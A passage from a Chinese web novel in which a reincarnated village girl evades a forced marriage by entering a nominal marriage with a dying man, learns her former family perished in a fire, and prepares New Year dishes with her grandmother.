她以为王茹娇又来,开了门刚想打趣,却看到许富年和柳珍儿在门外。 还带着一个约莫三四十岁的女人和一个眼神不太灵光的男子,看样子是过了弱冠之年。 许芷眉头微蹙,直接就要关门。 却被柳珍儿直接上手拦住,抓过她的手故作亲热的带着她往里进。 进去之后,给后面的人使眼色,让他们也快进来。 许芷极其讨厌这种没有边界的行为,用力把自己的手抽了出来,转身挡在众人面前,不悦道: “都出去,我没让你们进来。” 可这话这四人好似没听到,许富年夫妇二人脸上笑容虚伪,不说话只是看着许芷。 那不认识的女人眼神精光的打量着房子,那贪婪的模样很是熟悉。 而那眼神不灵光的男子则是畏首畏尾的缩在女人的身后,有些慌乱的四处乱瞟。 许芷眼底的厌烦怎么也遮不住,实在是没有耐心跟他们斡旋。 准备转身拿起扫帚要把人赶走,却被柳珍儿看穿了意图,冲上去一把拽住她。 她下了死手,许芷这会儿怎么也挣脱不了。 柳珍儿堆着笑问对面的女子:“二嫂,怎么样?” 柳二嫂面露谄笑:“珍儿向来是个眼光好的,你说的我自然听得。” 听到这话,柳珍儿面上笑呵呵,心里直撇嘴。 自己这二嫂精豆儿一般的人物,偏偏生了个痴傻儿。 要不是带她来看了这臭丫头和房子,她怎么会愿意听。 只是面上笑的喜洋洋,“那既如此,今日就把这事儿给定下吧,趁早办事,办了咱们当父母的就安心了。” “成啊。” 看着这两人自说自话,不耐烦的许芷脚下偷偷的踩过去。 猝不及防的柳珍儿疼的一下就放开了手,转头就要骂许芷,却被心虚的许富年拉了一把,眼神示意她说。 柳珍儿等了他一眼,抱怨道:“白脸净让我来。” 她转过脸看着许芷,高高在上的说道:“我跟你爹为你寻了门好亲事,人你也见过了,是我的亲侄子,错不到哪去。 都是一家人不拘什么排场,酒席就算了,年前寻个好日子,你就住过去。 彩礼就直接给我们了,嫁妆应当是你亲娘准备,既然没了亲娘就省了这回事。” 亲事亲事,又是亲事。 许芷不明白这公母怎么就光盯上给自己说那臭蛆一样的亲。 心里怒火正盛,说出口的话就难听许多。 “从哪来的臭鱼烂虾,专干这种盐吃多的事儿,看来还是我上次扫地出门给你们俩的教训不够,才敢再来是吗?” “你这死妮子,我们是你父母! 父母之命媒妁之言你懂不懂?我说你嫁人你就必须给我嫁人去。” 柳珍儿瞪着眼说道,她还指望年前把许芷赶出去,住进这新房里,故而说话硬气很多。 “我告诉你今天这人你嫁也得嫁,不嫁也得嫁,户籍文书在我们手里,两家直接去府衙就能把你的名字添上去当媳妇儿!” 许芷愣住了,她倒是忘了户籍的事儿。 其实早在柳珍儿拿户籍威胁她的时候,她就想有朝一日自己和祖母另立门户。 只是根据本朝的律法,女子不可自立,要么过继到别人家中,要么嫁出去。 所以她才暂时搁置了,一直没办成。 可没想到先是王素娟那边用祖母的户头做文章,现下柳珍儿又拿着自己的户头强迫自己嫁人。 她实在是等不了了,若是现在有个生命垂危救不回来的男人,她义无反顾的嫁人。 这样成了寡妇自己在她们眼中就成了二手货,不好说亲。 户籍也不用操心了。 可她上哪去找这么个人。 许芷真是被户头和亲事这两件事折磨的头大。 恰在此时,去别人家借用吊炉做烧饼的祖母回来了。 她没想到院子里这么多人,看清是许富年夫妇,她没有丝毫犹豫,拿起门后的扫帚就要把人赶出去。 而趁着他们被祖母打的措手不及,许芷拿过铁锨,毫无章法的挥舞着。 害怕受伤的四人,被这祖孙俩打的节节败退,轰出了家门。 第83章 自立门户 邓老太气的喘着粗气,“这俩不要脸的,怎么还敢来!” 许芷不想提他们,转而问祖母:“祖母不是做烧饼去了,怎么回来了?” 邓老太:“忘了拿芝麻。” 拿过芝麻要出门的时候,邓老太不想让孙女一个人在家,就带着许芷一起去了。 许芷也想出去透透气,就跟着祖母去了村里的谢家。 做烧饼是这边过年的传统,但是做烧饼的吊炉却不是人人能有的。 若是跟有吊炉的人家关系好,直接合伙做烧饼就行。 若是没有关系好的,就带点什么去人家,料都自己备齐就行。 谢家跟祖母关系还不错,但邓老太拎了一篮子鹅蛋去,毕竟用人家东西。 而且还要用人家的柴。 到了谢家,许芷被引进了上房最东边的里间。 还未进入,许芷就闻到了烤制的面香。 那屋子里简单的很,靠近门的位置放了个拦腰高的烧饼吊炉,旁边堆了好多柴,直接堆到了墙边。 对面是一张很大的案板,谢家三个儿媳妇和谢老太正在有条不紊的做着烧饼。 两个人做面饼和填红糖,两个人站在吊炉旁烤制烧饼。 看着旁边的小矮桌上放着烤好的烧饼,每一个都有许芷脸大。 面上刷了蛋液撒了芝麻进去烤的,所以看着有焦褐感,诱人馋虫。 谢家大儿媳看到了许芷,客气的给她拿了个烧饼让她吃。 “还热乎着呢,这会儿上脆下嫩,中间甜丝儿的,好吃着呢。” 许芷客气的结果,咬了一口,这饼比想象中的要劲道。 确实刷了蛋液的那面脆,下面软和,口感上奇妙的融合在一起。 加上红糖的微甜感和蛋液烤制后的香气,每一口都唇齿留香。 许芷没一会儿就吃完了一整个。 吃过之后开始帮忙祖母做烧饼,因为邓老太知晓她没什么做饭上的造诣。 就让她去吊炉那边等着,帮着把做好的烧饼拿出来就行。 祖孙俩在谢家待了快一天,晚上才把揉的面都弄完。 还剩了些红糖和芝麻,邓老太直接留在了谢家,就不拿走了。 这次总共做了一竹筐加一竹篮的烧饼。 竹筐许芷背着,竹篮邓老太拿着,两个人乘着月色回了山坳。 到家之后,两人又把家里的竹匾拿出来,把烧饼都晾上。 因为昨晚还剩了些菜,早上也剩了粥,晚上本来又回来得晚,两个人热了热快速的吃过,就洗洗睡了。 不过许芷还睡不着,她的心里还惦记着户籍和婚事。 正想着突然她的脑海里出现了那个白发老翁,说要完成自己一个请求。 那人看起来倒像是命不久矣的样子,若是自己让他娶自己...... 这个想法刚浮现出来,许芷就否决了。 婚姻大事,虽然她并不期待,可也不该落在一个完全不认识的人身上。 万一那人寿命还长,是个不堪的,自己这不是砸进去了。 她自嘲一笑,笑自己病急乱投医。 还是正经的去官府问一下,有没有其他法子能够女子自立门户的。 还好最近没有集,许富年和柳珍儿那么扣的人,肯定不会单独去包了牛车进城,她要趁这个机会赶紧办妥这事儿。 第二日,许芷早早就起了床,跟祖母说了声要进城,就出去了。 进了城,许芷直奔府衙,却在问了王茹娇哥哥王桥之后,失望而出。 她现在这个年岁,要么许家人都死绝了,只剩她一个。 要么只有嫁人这一个法子。 许芷垂头丧气的走在街上,心中烦忧。 若是他们真的把自己户口迁过去,自己不介意用那男人的性命相搏。 左右那人看着是个傻的,估计好哄骗的很。 等到自己做完了想做的事,再给这无辜之人赔罪。 可不管怎样,她都不能让许富年他们的谋划成真。 正当她走在街上,却看到了熟悉的身影。 许芷眯了眯眼,还以为自己看错了。 上次见到还蓬头垢面的人,如今穿着锦衣华服,骑着高头大马走在街上。 只是那人看着面色不好。 在许芷盯着看的时候,那人也看到了她。 他一夹马肚来到了许芷身边,有些费力的下了马,尽力扯出一抹温和的笑。 “你怎么在这?” “来买年货。” 许芷胡诌道。 市场在另外的方向,许芷手中又空空如也,明显是要出城。 虽然看穿了,谢有余并不拆穿她,只是点点头,问道:“想好了吗?” “什么?” 许芷茫然地抬头问道。 谢有余:“那个请求。” 许芷摇摇头,看着兴致不高的样子。 他看许芷这样,也不强迫她今日一定要说出什么,温和一笑准备离开。 许芷又问:“为什么?” 谢有余咳了几声才回答:“我似乎说过,是为了一个约定。” “我只是不明白为何是现在,若这个约定这么重要,你为何不早一点出现。” 许芷固执地问着。 那人被问住了,眼神里流露出了复杂的情绪,那是愧疚和不安。 许久,他才缓慢道:“我没几天的活头了,从前只觉得还有大把的时光,可如今才知道从前有多错。 所以你尽管提,我都会满足你。” 说完,他有些艰难的上了马离开。 只是没一会儿,他就听到了后面追上来的脚步声。 他勒住缰绳停下,调转马头看向许芷,想问她还有什么事,却先猛咳了一阵儿。 好不容易才止住,还没开口,就听到许芷开口问: “你家中可还有亲人?” 谢有余:“唯我一人。” 许芷:“是否有仇敌旧人未曾妥善?” 谢有余:“无。” 许芷:“是否有外债?” 谢有余:“无。” 正当他疑惑许芷为什么这样问的时候,听到少女平静如水的声音: “你娶我。” 这话说的过于平静,就好像在告知他今晚吃什么,等会儿买什么一样稀松平常。 “什么?” 谢有余的表情有些崩裂,不敢相信自己听到了什么。 许芷倒是淡定的很,冷静地重复一遍:“我说,我请求你娶我。” 再说一遍,谢有余也一样无法接受,他是想要帮助许芷,可不是这么帮助啊。 难道是许芷日子不好过,看到自己这个样子,想嫁给自己好过些? 第84章 非要嫁人 谢有余叹了口气,劝说道:“你若是需要钱,我给你就是,不必如此。” 闻言,许芷摇摇头,“我不要钱,我只要你娶我。” 谢有余蹙眉,有些生气道:“你才多大,非要嫁人吗? 你若是需要个良婿,我也不是不能替你寻一个,只是我——” “我不要良婿。” 许芷抬眼阻止了他的话。 “我需要个将死的夫婿。” 此话说出口,谢有余哽住,他几次抬气,却始终没说出什么。 最后还是许芷坦然的看着他说道:“我只有这一个要求,你若是同意,今日便可去府衙过户。 若不同意就算了,我对你别无所求。” 说完颔首过,转身就要离开。 她快走至城门口的时候,身后马蹄声渐近。 许芷回头看到了奔驰而来的谢有余,费力的下了马,牵着缰绳走到她面前。 谢有余吐出一口浊气,无奈的看向她,道:“我可以娶你,给我三日筹备婚事,成婚后你还住家中,我与你只能做名义夫妻。” 许芷:“婚事不必,直接移了户头便可,你若是方便现在就要。” 看到许芷对户口如此执着,又结合刚刚的对话,谢有余多少猜到了许芷的打算。 虽然不知道是为什么,但是许芷嫁他,不图姻缘,只是为了有个单独的户籍。 他死后,许芷就有单独的户籍文书,那么她这个人全凭自己做主。 猜到了这个,谢有余也不再蹙眉,问许芷道:“会骑马吗?” 许芷摇摇头,她没学过。 闻言谢有余只好道:“那你去府衙等我,我拿了户籍文书就过去。” 他不想跟许芷一起回家拿,这婚事若是能无人知晓那是最好,别坏了她的名声。 日后也好说夫婿,只要是有情人,定然不会介意这事,说清楚就好。 许芷嗯了声,转身朝府衙走去。 到了衙门,她在门口等了大概三刻,才看到骑着马的谢有余过来。 王桥看到许芷又来,微不可查的叹了口气,心中觉得这丫头可怜。 可户籍的事儿他真帮不了,强撑个笑容看向许芷:“许丫头,你怎么来了?” 多少有些明知故问的意味。 同时他看到了许芷身后那个男子,他愣住了,脱口而出:“谢有余?” 许芷挑眉看向二人,竟不知他们认识。 王桥瞬间笑容爬上了脸:“谢哥,好久不见,从你参了军,我们怕是十几年没见过。” 他热络的走到谢有余面前,搭上了谢有余的肩。 谢有余脸上的表情也透露出了些愉悦,“是啊小桥,好久不见。” “你今日来干啥啊?谢哥。” 王桥走到自己的案前问道。 只见谢有余听到这问话,脸色更白了几分,垂眸沉默着。 王桥没听到答案,疑惑的抬头望向对方。 在两个人的静默的氛围中,一道清秀的女声出现。 “他要娶我,来改户口。” 许芷坦然地道出,她知道只要来了衙门办理户籍,不可能不让王桥知道,还不如直接和盘托出,省的磨磨唧唧的耽误事情。 王桥听到这话,震惊的看向谢有余。 “谢哥,许丫头说的是真的吗?” 见事情挑破,谢有余也不再藏着掖着,点头道:“小桥求你件事,这件事出了衙门,求你烂在肚子里。” 王桥脑子混乱不堪,胡乱的应承着。 扭脸看向比他们俩人都坦然自若的许芷,带了规劝的语气问道:“你真的想好了?” 许芷没有回答他的问题,而是抬眼看着他说道:“王叔,你应该知道我有多需要独立的户头。” 既然如此,他便不多劝说什么,而是帮着把许芷的户头迁到了谢有余的户头上。 办完之后,王桥将二人送至门外,许芷率先走了。 只剩下他们二人,王桥还是没忍住,问道:“谢哥,那可是梅子姐的女儿,你跟梅子姐都是前尘往事,如何能娶了她啊。” “我快要死了。” 谢有余轻飘飘的说着。 这话出口的时候,他眼神空洞的看着许芷离开的方向。 尽管许芷的身影早就消失在街道上,可他还是看着,感慨道:“这小丫头不像她,性子最不像。” 王桥今日真的是被一波波的冲击轰的头晕目眩。 他结巴着问谢有余:“什、什么叫你快死了?” “我参军几年混不出个名堂,回了京遇人指点,靠了个大人物,可那个大人物不过是需要新鲜的药奴,我这副身子早坏了。 如今过这个年都是奢望,能为梅子做的只能是满足她女儿。 还好我这药奴不算正当来历,户口未受影响,若不然都帮不了那丫头。” 说着,谢有余转身对王桥庄重的行了大礼,吓得王桥赶紧扶他。 “桥儿,我死后麻烦你多多照顾那丫头,我有些积蓄,那丫头还小恐压不住,你存着多帮帮她。” 王桥心想他实在小看了许芷那丫头,但为了让他起来还是点头答应了。 送走了谢有余之后,王桥捶胸顿足,“这叫什么事儿啊!” 这边许芷出了城,打算走回去。 只是刚走到城门口,一个小儿就撞进了怀中。 她下意识的扶那小儿,却察觉到手心被塞了东西。 那小儿不理会她探究的目光,迅速离开。 许芷看着手中的木簪,察觉不对,打开顶部看到里面塞了张字条。 只是她并未着急打开看,而是环顾四周,想看看有无可疑之人。可并未看到。 许芷往边上走了走,才打开字条。 ‘若想知姑苏苏家之事,请上醉仙楼,把簪子交给小厮,会有人为你解惑。’ 看完许芷再度看向四周,她看到字条第一反应就是宋昭奕。 可这字迹绝对不是他,若他想要回来报恩,也不该是这样的方式。 这信中的语气倒是像获悉了她的把柄,故意让她去的意思。 可从她在许芷身上醒来开始,就没有流露出一点跟苏家有关的苗头,除了在宋昭奕面前打听过。 到底是谁? 莫不是追到了她的魂,来找她索命? 这种想法虽然荒谬,可自己死后从许芷身上醒来这事儿说出去也觉荒谬不堪。 纠结一瞬,转头朝着城里而去。 第85章 无人生还 到了醉仙楼,一个小厮迎上来:“客官,您是打尖还是住店啊?” 许芷不做声,只是把手里的簪子递过去。 那小厮看到心领神会,将许芷带到了二楼的雅间,便退下了。 许芷冷着脸把手放在了短刀上,推开了门,想看看到底是谁? 却看到宋清奕正在泡茶,看到她进来,神色复杂,“来了,坐。” 宋清奕在月余前获悉,弟弟宋昭奕被追杀至此,他担忧的派人去找,却无所获。 正当他焦头烂额之际,有一份密信送至手中。 信上说弟弟已脱离危险离开,他立刻回到了京城去找弟弟。 果真在兵营里见到了完好无损的宋昭奕。 他着急的询问对方经过,可宋昭奕没给他好脸,一个字不愿吐露。 “我是真的担心你。” 宋清奕无奈至极。 “不需要。” 眼看他要无功而返,却看到弟弟转身有些别扭的说道:“你找个好药师去下坪村找一个叫许芷的丫头,给她当师傅,是她救了我。” 闻言宋清奕猛然抬头:“你见到她了?” 宋昭奕蹙眉:“你认得她?” 宋清奕不知是想到了什么,摇了摇头道:“不认识。” “那丫头不知道从哪听得咱们家和......” 他顿了顿才开口:“和怀夕姐她们家都是杏林圣手,想要个师父,我只求你这一件事,事成之后我自会谢你,只是你我的恩怨依旧。” 宋清奕此时的心思全不在此,敷衍的嗯了声。 宋昭奕又拿出了五十两银子,让宋清奕给许芷,说是给对方的酬谢。 这钱宋清奕没接,他最不缺的就是钱,所以他自己给就行。 许芷看到面前的宋清奕,放在短刀上的手松了松,故作不解道:“东家这是做什么?” 宋清奕转头看向许芷的眼神满是疼惜和难过。 “是你,对吗怀夕。” 许芷淡漠道:“我叫许芷。” 宋清奕走上前,伸出手想要触碰她,可许芷漠然的退后,拉开了跟他的距离。 这举动并未让他难过,语气中染了潮意。 “怀夕,对不起,我没有第一时间认出你,是我的错。” 许芷闻言掉头就要走,她并不是很想看宋清奕的忏悔,也没有心情参与这场认人大戏。 她现在并不是从前了。 看到她要走,宋清奕才有些慌张。 “怀夕,你别走。” 许芷头也不回的大声道:“我叫许芷!” “好,那就先叫你许芷,你别走,我们谈谈好吗?” 宋清奕妥协又有些卑微的说道。 回应她的只有许芷沉默倔强往前走的背影。 他急了,大声道:“怀夕,你家人全都死在了火里。” 倏然,许芷停下了脚步,整个人僵在哪里一动不动。 正当宋清奕想要追上去的时候,许芷转过身,眼眶通红,看着他问道:“你说什么?” 宋清奕却有些不敢说了,他知道这对许芷来说是多么大的打击。 可他越是沉默,许芷越是愤怒。 她冲上前,狠戾道:“我是苏怀夕,你不就想知道这个吗? 现在你知道了,告诉我我的家人到底怎么回事?” 宋清奕看到她这个样子,心疼不已。 “怀夕,你先冷静。” “我冷静不了,你快说!” 许芷“噌”的一声拔出了腰间的短刀,抵在宋清奕的肩上,失控的大喊:“你说啊!” 她眼神虽然含着泪,可没有一点楚楚可怜的意思。 而宋清奕丝毫没有被她这个样子吓到,眼神中的心疼反而更甚。 他伸出手想要抚上她的脸,却被她拍开:“我叫你说!” 为了安抚许芷,他只好妥协道:“好,我说,你冷静点怀夕。” 她急促又沉重的呼吸声,像一把小锤子,一下一下敲上宋清奕的心。 宋清奕的眼泪掉了下来,在许芷还倔强的憋着的时候,他先落了泪。 “怀夕,你去京城半月后,一场大火烧了你家铺子,无人生还。” 他尽力简短的描述着事实,好似这样就能把冲击降到最低。 可这根本没用,许芷闻言落下两行清泪,神情悲怆。 手中的短刀掉落在地,她闭上眼不愿相信。 怪不得当时宋昭奕听到苏家会是那样的反应,原是如此。 宋清奕着急的想要安慰她,可越是着急越不知该说些什么。 好像任何话语都是浅薄的、无力的。 他的眼泪断了线的往下掉,好似比许芷还要痛苦。 若是有人看到他们两个,该好奇为何这男人比女人的眼泪还要多。 许久,许芷再重新睁开了眼睛,她的眼神灰败,好似只剩躯壳。 “她竟如此狠毒!” 许芷咬牙切齿的说完这话,眼神中迸发出强烈的恨意。 闻言宋清奕颔首垂眸。 而许芷恢复了那淡漠的神情,捡起了自己的短刀,转头就要走。 宋清奕慌忙追上去,“怀夕,你去哪?” 许芷顿足,给留给宋清奕一个侧脸。 “东家,我叫许芷,以后莫要叫错了。” 冷漠疏离的样子,让宋清奕驻足不敢往前。 他只能看着许芷离开,垂在身侧的双手紧握成拳。 “怀夕......” 口中还呢喃着苏怀夕的名字。 许芷不知道这一路自己是怎么走回家的,只知道这一路好长,她从白天走到夜晚还没到村里。 脑海里全是曾经跟家人的过往,那些幸福、快乐、温馨的时光。 父亲会带着她出去义诊,带她走遍山野林间,教她认药背方。 母亲每日都会给她炖汤,一年四季从不间断,会宠溺的为她绾发。 哥哥总是喜欢捉弄自己,是因为自己沉闷的性子,想着办法把自己带出去透气。 在她当苏怀夕的十八年人生里,家人和睦,生活平静。 却在十八岁这一年丢了命,失了家人,发生如此祸事。 她滔天的恨意将自己包裹,可此时却无能为力。 自己根本无法报仇雪恨,只能蛰伏。 许芷发誓,要让她付出代价,剥皮抽筋都太轻! 等她的脚步踏进村口的时候,村口树下一道焦急地身影试探呼唤。 “是小指儿吗?” 许芷没有回答,祖母走近看清是她,因为着急而生气,打了她肩膀一下。 “你这孩子怎么现在才回来,你知道祖母有多担心你吗?” 第86章 松肉没肉 听着祖母埋怨,这只有家人才会有的特殊挂念,她再也忍不住扑进祖母怀里痛哭出声。 而邓老太再大的火气,也被孙女这眼泪给浇灭了。 她软了语气,抚着孙女的背,心疼的解释道:“小指儿,别伤心,祖母就是看你天黑还没回来担心你,没有要凶你的意思。” 许芷当然知道,可这会儿她根本不可能停止哭泣。 在祖母的怀里,哭了个意满,祖孙两个才回了家。 到家邓老太忙前忙后的给她热饭、烧热水。 其实她吃不下,但是她知道如果自己连饭都不吃了,祖母会更担心,所以她强忍着心中的不适,将饭吃完了。 吃过饭之后,邓老太又亲力亲为的给她弄了热水,让她洗了洗。 晚上两人躺在一张床上。 邓老太抱着孙女,轻轻地安抚着她。 “小指儿,有啥委屈就跟祖母说,谁敢让我孙女不好过,我豁出这条命也找对方算账。” 因这话,许芷的眼眶,就像是突然冒水的干涸泉眼,又湿润了。 她怕祖母看到,将脸埋在祖母的怀中,摇了摇头,扯谎道:“没人欺负我,是天太黑了,我害怕。” 邓老太一听这个松了口气,只要不是被欺负了就成。 她故作轻松地调侃孙女,想要让孙女走出这情绪。 “多大的人了,还怕黑啊,以后我让你舅舅陪着你去,再不让你一个人进城。” 这样不仅是为了不让许芷害怕,也是让邓老太安心些。 她今天看着孙女迟迟不归,心都提到了嗓子眼,脑海中不断涌现着不好的想法,实在是怕。 日后再也不能这样了,不能让许芷一个人去城里。 “嗯。” 许芷闷闷的应了声。 听到孙女答应,邓老太轻轻拍着孙女的背,温柔道:“睡吧,小指儿,祖母在呢。” 还唱起了这里哄孩子睡觉的曲儿。 呼噜呼噜毛,睡得着。 睡着妞妞就不害怕。 呼噜呼噜毛,吓不着。 不怕妞妞梦里有桃。 呼噜呼噜毛。 呼噜呼噜毛~ 许芷恶劣的心境竟在这曲儿中逐渐平静下来,眼皮也沉了。 看着孙女睡着,邓老太才也阖上眼。 虽然睡着了,但许芷并未睡踏实。 梦中她站在家门前,大火像牢笼一样困住了所有的家人,除了她。 爹娘和哥哥就站在门里,面无表情的看着她。 她哭着想要冲进去,可面前却像有一道无形的屏障,她怎么都跨越不了。 着急的她没办法,只好大声地呼唤着他们,让他们快出来。 可爹娘和哥哥一动不动,任由火舌吞噬他们。 她哭的撕心裂肺,却改变不了,她的心好像也跟着他们在那场火里烧成灰烬。 而她正难受着,头顶又想起了那温暖的安抚声。 呼噜呼噜毛,睡得着。 睡觉妞妞就不害怕。 呼噜呼噜毛,吓不着。 不怕妞妞梦里有桃。 这安抚声就像是大雨,冲刷着面前的大火,逐渐让许芷冷静下来。 看着重新沉沉睡去的孙女,邓老太探口气。 不知道孙女梦到了什么,竟哭成这个样子。 她擦去了孙女眼角的泪水,心疼的好久才睡过去。 第二天醒来的时候,许芷睁眼有些睁不开,她知道这是哭的太多,眼睛太肿。 她坐起身子,看着面前的房间,努力让自己清醒些。 等她敛去了所有的情绪,才缓缓地起了床。 屋子里的面盆架上的盆,已经装好了水。 她洗过脸,走出屋子,祖母看到她,笑呵呵的说道:“祖母烧了你喜欢的腊肉饭。” 许芷面色如常的嗯了声,进厨房开始帮祖母干活。 吃过饭,她拎着泔水桶出去倒的时候,看到了门口石缝里的信封。 她拿过,看到面上写着‘重金酬谢’四个字,是宋清奕的笔迹。 打开里面是一千两银票。 许芷看到,只是收到了胸前,继续去倒泔水。 离过年越来越近,每天祖母都要准备一样东西。 今天是豆馅馍馍,明天是炸果子,后天是炸松肉。 刚听到炸松肉这名字的时候,许芷以为是道肉做的荤食。 做的时候就格外期待,她看着祖母用面粉和了面糊,加了曲蘖发了会儿。 然后那直接下手抓着稀溜溜的面糊拽下来一块,两只手一拉放进了油锅里炸。 那面看似被扯得薄,可是一进油锅,立马就嘭起来。 等到那面饼飘起来,看着样子金黄,就是炸好了。 许芷看着觉得像早餐铺子里的油饼。 她好奇地问祖母:“祖母,这松肉也没肉啊。” 话刚出口,邓老太瞪她一眼,生气的“嘘”一声,不让她说话。 这是邓老太说的规矩,炸东西的时候不言语。 许芷刚开始还以为祖母在故意逗自己,没想到自己说了话,祖母很生气,把她轰出了厨房。 这她才意识到祖母是认真的。 许芷把这件事讲给了王茹娇听,谁知道王茹娇听了笑她活该。 “哪有炸东西的时候说话的,都不能说话。” 王茹娇理所应当的说着,许芷这才发现原来这是这里的风俗。 虽然不知道是为什么不能说话,但是既然如此还是守规矩的好。 刚刚是自己一时忘了,才会问出口。 不过好在祖母没把自己赶出厨房。 她拈了块松肉,吃进嘴里,炸物的脆香混合着里面葱香,让许芷忍不住想要夸出口,可看到祖母的眼色。 许芷噤了声,只竖起了大拇指,又一口气吃了两个来显示好吃。 终于在炸完了这些后许芷忍不住问出了声:“祖母,这没有肉怎么叫松肉呢?” 邓老天收拾着案板说道:“以前人穷吃不起肉,就想法设法吃点着带着油香味的东西,叫这名字骗自己是肉吃起来才香呗。” “可是油不是也贵重吗?” 许芷疑惑问道。 “油再贵重也要吃的呀,有点钱还不如买油能吃好几顿,就算是炸过东西也不耽误炒菜,但是那肉一吃就没了。” 邓老太耐心地解释着。 因为做了这炸松肉,晚饭邓老太就做了酸辣汤。 用剩下来的葱呛了锅,加进去两瓢水。 等到水开将切好的菜多放进锅里煮,因为他们都爱吃粉条,所以也放了些粉条进去。 倒进去打散的鸡蛋,立马成了鸡蛋花,搅一下后,再把碗里兑了水的红薯粉面倒进去,酸辣汤立马变得粘稠。 溜着锅边倒进去两圈锅边醋,酸味一下就上来了。 吃饭的时候,把松肉泡进汤里,简直了。 好吃到许芷喝了一碗半的汤,吃的撑心肚胀。 第87章 除夕家宴 又一场大雪,到了年二十九。 今天要家里家外的打扫卫生,许芷和祖母、舅舅,三个人一起把家里收拾的干干净净。 只是刚打扫干净的屋子,就来了两个不速之客。 柳珍儿和许富年两口子又来。 因为打扫卫生,大门开着,这两人昂首挺胸的就进来了。 看到许芷,柳珍儿生气的指着她大骂:“你个小贱蹄子,到底干了什么?为什么你的户头我们不能做主了?” 许芷无辜的耸耸肩,“不知道啊,我怎么会知道?” 而邓老太听到这话,就知道这两口子还不死心要把许芷嫁给别人,她抄起手里的鸡毛掸子就要打上去。 两人躲闪不及,都各自挨了好多下。 许芷也用手里的扫把赶着两人的脚下,没一会儿就赶出了家门。 邓耧子看着他们俩的狼狈样,奚落道:“你说这二十九都是把脏东西往外打扫,怎么你俩还往里进呢?” 气急败坏的柳珍儿,恶狠狠地咒着许芷。 “你这丫头行啊,你这辈子都嫁不出去,没有男人会要你这么个丧门星。” 许芷听到倒没什么反应,这话根本就伤不到她。 但是祖母听到气的不行,谁说她这么好的孙女嫁不出去,简直是丧尽天良。 她手里的鸡毛掸子挥舞的那叫一个迅速,把这夫妻俩打的连连逃跑。 许芷都不明白了,次次占不到便宜,这俩人还次次来耀武扬威,图什么呢? 打扫完卫生,就该贴春联了。 邓老太给许芷塞了十个鸡蛋,让她去里正家里拿自己家的春联。 许芷拿着鸡蛋去里正家的时候,村里不少人也在里正家等着。 她站在人后等着,还看到了王素娟和宋莺莺。 许芷看到就当没看到。 可里正的小孙子在门口玩看到了许芷,大声的喊着进屋:“爷爷,许姐姐来了。” 里正一听,先放下了手里的毛笔,拿起一边早就写好的对联出来。 “许丫头,你俩的春联早就写好了。” 这一弄院子里的人都看向许芷,她瞬间有些不自在。 顶着众人的目光上前去,先递过去手里的鸡蛋。 “这是家里的鸡下的蛋,感谢里正您给我们写春联,有了您亲手写的春联,来年定然好运连连。” 许芷唇角微微勾起,说着恭维的话。 里正听了笑的满足,“你这丫头会说话。” 拿了春联许芷就要走,可是偏偏有人喜欢凑上来。 “欠那么多钱,有点鸡蛋不赶紧卖了吧,还送人呢?” 王素娟奚落的声音从身后传来。 许芷一字不落的听到了,但她并不打算跟她纠缠,权当没听到。 毕竟马上她就要大祸临头了。 距离她借钱已经过了些日子,按道理来讲,那些人应当来催债了。 可是迟迟没有动静,许芷清楚这些人,那不是不来。 而是要等到大年夜阖家团圆的时候来。 这些人最知道什么时候来要债最要命了。 到了家,祖母的浆糊早熬好了。 邓耧子贴对联,许芷在一边拿着浆糊和春联,给舅舅递东西。 贴好春联,要放鞭炮,这是下坪村这边十里八乡的习俗。 许芷和祖母在院子里等着,邓耧子把鞭炮铺在了门口,拿了个灶膛里新添的柴火,点着了鞭炮之后,捂着耳朵就跑了回来。 鞭炮一放,已经有了过年的实感。 年三十儿,早上许芷还没起床就听到了祖母在剁肉的声音。 今天要把饺子馅做好,今晚和明天中午吃。 至于大年初一早上,许芷听祖母说了,按照习俗是要吃当地的一种特色美食凉粉汤。 为了明天早上好做,今天也要把凉粉蒸出来。 许芷在剁肉的声音中起了床,洗漱过后进了厨房,拿过祖母手里刀:“让我来吧祖母,您去弄那个凉粉,咱们今天早点弄完,下午还要弄除夕家宴呢。” 邓老太也没谦让,她确实累了,剁肉剁的胳膊酸。 凉粉的原料是红薯粉面,一碗粉五碗水倒进锅里搅和匀了,加点盐做出来的凉粉有味儿。 然后把锅放在灶上,小火熬着,熬的过程中要不断拿汤勺搅和。 搅和到颜色由白变成了透明状就可以盛出在备好的容器里,冷却后就能做凉粉汤。 这搅凉粉和剁肉馅儿一样,都是力气活,刚开始搅凉粉还没成型,水拉拉的好搅和,一旦开始变色那就难了。 正好,这锅刚支上没多久,邓耧子就过来了。 看到锅里的凉粉,自然而然的接过汤勺,笑道:“我就知道这会儿来准没错,从前都是我帮娘搅凉粉,今年也得这样。” 邓老太笑了笑,转身去准备其他的食材,下午好多菜要做呢。 一天三个人忙忙碌碌,做菜的大头是祖母,许芷在旁边打下手。 因为做的菜多些,所以家里的炉灶和小炉子全都用上了。 邓耧子光是添柴火都够忙的。 不一样的菜火候也不一样,他都不敢松懈一点。 到了傍晚,村里能听到陆陆续续的炮声。 许芷跟祖母在包饺子,这是最后一样了,其他的菜都准备好了。 作为姑苏人氏,她不太会包饺子,他们过年吃年糕汤圆的多。 所以她在一边擀皮,邓老太包饺子。 看着那一个个皮薄馅大的饺子,她想到了从前家里吃的肉汤圆。 许芷:“这么多肉馅,要不包点肉汤圆?” 邓老太一听蹙眉道:“汤圆要到正月十五吃,现在吃太早了。 再说了汤圆都是芝麻馅、花生馅儿这样的甜口,哪里听过肉馅的,那不就成包子了。” 许芷笑了笑没再说话,所谓十里不同音,百里不同俗。 大家各有各的饮食习惯和习俗,倒是没必要强求。 今年她也过一个纯正的北方年,体会不一样的风俗习惯。 月上梢头,年夜饭也做好了。 凉拌葱丝牛肉、凉拌木耳、凉拌三丝、醋拌菠菜。 干豆角炖排骨、红烧鱼、小炒里脊肉、萝卜清炖羊肉、酱炖猪蹄、香煎豆腐。 四凉六热,凑够了十样菜,寓意十全十美。 再加上一个酸辣汤和八宝饭,一共十二盘子,算是大席的标准了。 主食就是今天包的羊肉饺子。 邓耧子还特意提前去买了点青梅酒,酸甜不烈,许芷也能喝。 三人共同举杯,在爆竹声声中走进新的一年。 第88章 砸自己脚 村子里大家都喜气洋洋,迎接着新年,邓家也不例外。 只是王素娟这边刚把做好的大鱼大肉端上了桌,突然院子大门就被人粗暴地推开。 听到动静老大和老二一家都出来,宋莺莺看到个个凶神恶煞的壮汉,立刻躲到了丈夫身后。 她哆哆嗦嗦的问道:“他、他们是谁啊?” 邓耙子摇摇头,他也不清楚。 